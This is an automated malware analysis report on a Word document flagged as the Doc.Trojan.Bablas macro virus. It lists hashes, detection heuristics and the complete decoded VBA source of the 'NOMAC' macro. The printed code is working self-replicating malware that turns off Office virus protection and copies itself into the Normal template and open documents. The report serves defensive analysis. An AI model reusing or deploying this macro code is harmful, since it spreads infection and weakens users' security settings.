Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 e89dae9fabbbe1d1…

MALICIOUS

Office (OLE)

43.0 KB Created: 2000-08-21 19:32:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 56cdb9ccd905f5a234be33df8d686708 SHA-1: d744c505cfef02350a11da2dbba8f9263c7d6ea1 SHA-256: e89dae9fabbbe1d1435bc4205ae515d96672c15bababdf06be5ac420066f7825
196 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains legacy WordBasic macro virus markers and critical ClamAV detection for 'Doc.Trojan.Bablas-18', strongly suggesting malicious intent. The VBA script includes functions like 'AutoExec', 'hapus_semua', and 'silent' which disable macro security and manipulate document macros, likely to prepare the system for a secondary payload or to evade detection. The presence of AutoOpen and AutoClose macros further supports the malicious nature of the document.

Heuristics 6

  • ClamAV: Doc.Trojan.Bablas-18 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Bablas-18
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
           Application.OrganizerCopy Source:=NormalTemplate.FullName, Destination:=ActiveDocument, Name:="ZACHRI", Object:=wdOrganizerObjectProjectItems
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub autoOpen()
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
    Sub AutoClose()
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4529 bytes
SHA-256: 988e3e1f4b3053be2c240982620d372f77ff5b9ffd59a8291a04c56ab2892689
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "ZACHRI"

Sub AutoExec()
    changecap
    WordBasic.disableautomacros True
    silent
    hapus_semua
End Sub

Sub hapus_semua()
    c = Documents.Count
    If c <> 0 Then
    '   'normal.ZACHRI.
       hapusdidokumen
       WordBasic.disableautomacros False
       On Error Resume Next
       If ActiveDocument.Name <> "Document1" Then
          ActiveDocument.Save
       Else
          hapusdidokumen
       End If
    End If
End Sub
Sub hapusdidokumen()
    Dim docOk As Boolean
    docOk = False
    
    For Each Obj In ActiveDocument.VBProject.VBComponents
    'MsgBox obj.Name
        If Obj.Name = "ZACHRI" Then docOk = True
        If Obj.Name <> "ZACHRI" And Obj.Name <> "ThisDocument" Then
           Application.StatusBar = "Menghapus" + Obj.Name + "Macro di " + ActiveDocument.Name + "..."
           Application.OrganizerDelete Source:=ActiveDocument.FullName, Name:=Obj.Name, Object:=wdOrganizerObjectProjectItems
        End If
    Next Obj
    
    If Not docOk Then
       Application.StatusBar = "Mengkopi NOMAC dari Normal Template ke " + ActiveDocument.Name + "..."
       Application.OrganizerCopy Source:=NormalTemplate.FullName, Destination:=ActiveDocument, Name:="ZACHRI", Object:=wdOrganizerObjectProjectItems
    End If
End Sub
Sub silent()
    Options.SaveNormalPrompt = False
    Options.SavePropertiesPrompt = False
    Options.VirusProtection = False
End Sub

Sub FileOpen()
    changecap
    WordBasic.disableautomacros True
    On Error Resume Next
    If Dialogs(wdDialogFileOpen).Show <> 0 Then
       cekadavirus
       hapusdidokumen
       ActiveDocument.Save
    End If
    restoreCap
    WordBasic.disableautomacros False
End Sub

Sub changecap()
    On Error Resume Next
    Application.Caption = " NOMAC is now activating..."
End Sub

Sub restoreCap()
On Error Resume Next
    
End Sub

Sub autoOpen()
    silent
    changecap
    hapusdiTemplate
    On Error Resume Next
    NormalTemplate.Save
    restoreCap
End Sub

Sub AutoClose()
    hapusdidokumen
End Sub

Sub fileClose()
    AutoClose
    ActiveDocument.Close
End Sub

Sub fileSave()
    If ActiveDocument.Saved = False Then
        hapusdidokumen
        hapusdiTemplate
        On Error Resume Next
        ActiveDocument.Save
        ActiveDocument.Saved = True
    End If
End Sub

Sub hapusdiTemplate()
    Dim NorOk As Boolean
    NorOk = False
    
    For Each Obj In NormalTemplate.VBProject.VBComponents
    'MsgBox obj.Name
        If Obj.Name = "ZACHRI" Then NorOk = True
        If (Obj.Name <> "ZACHRI") And (Obj.Name <> "ThisDocument") Then
           Application.StatusBar = "Menghapus" + Obj.Name + "Macro di Normal Template"
           Application.OrganizerDelete Source:=NormalTemplate.FullName, Name:=Obj.Name, Object:=wdOrganizerObjectProjectItems
        End If
    Next Obj
    
    If Not NorOk Then
       Application.StatusBar = "Mengkopi NOMAC dari " + ActiveDocument.Name + " ke Normal Template..."
       Application.OrganizerCopy Source:=ActiveDocument.FullName, Destination:=NormalTemplate.FullName, Name:="ZACHRI", Object:=wdOrganizerObjectProjectItems
       Application.DisplayRecentFiles = False
       Application.DisplayRecentFiles = True
     End If
End Sub


Sub cekadavirus()
    For Each Obj In ActiveDocument.VBProject.VBComponents
        If Obj.Name <> "ZACHRI" And Obj.Name <> "ThisDocument" Then
           MsgBox "Ada Macro di Dokumen...,mungkin virus !"
        End If
    Next Obj
End Sub

Sub ViewVBCode()
'
' ViewVBCode Macro
' Shows the VB editing environment
'
    If InputBox("Masukkan password anda ", "NOMAC") = "zac" Then
        ShowVisualBasicEditor = True
    Else
        ShowVisualBasicEditor = False
    End If
End Sub


Sub ToolsMacro()
    If InputBox("Masukkan password anda ", "NOMAC") = "zac" Then
        ShowVisualBasicEditor = True
        Application.Dialogs(wdDialogToolsMacro).Show
    Else
        Beep
    End If
End Sub

Sub ViewCode()
    If InputBox("Masukkan password anda ", "NOMAC") = "zac" Then
        ShowVisualBasicEditor = True
    Else
        ShowVisualBasicEditor = False
    End If
End Sub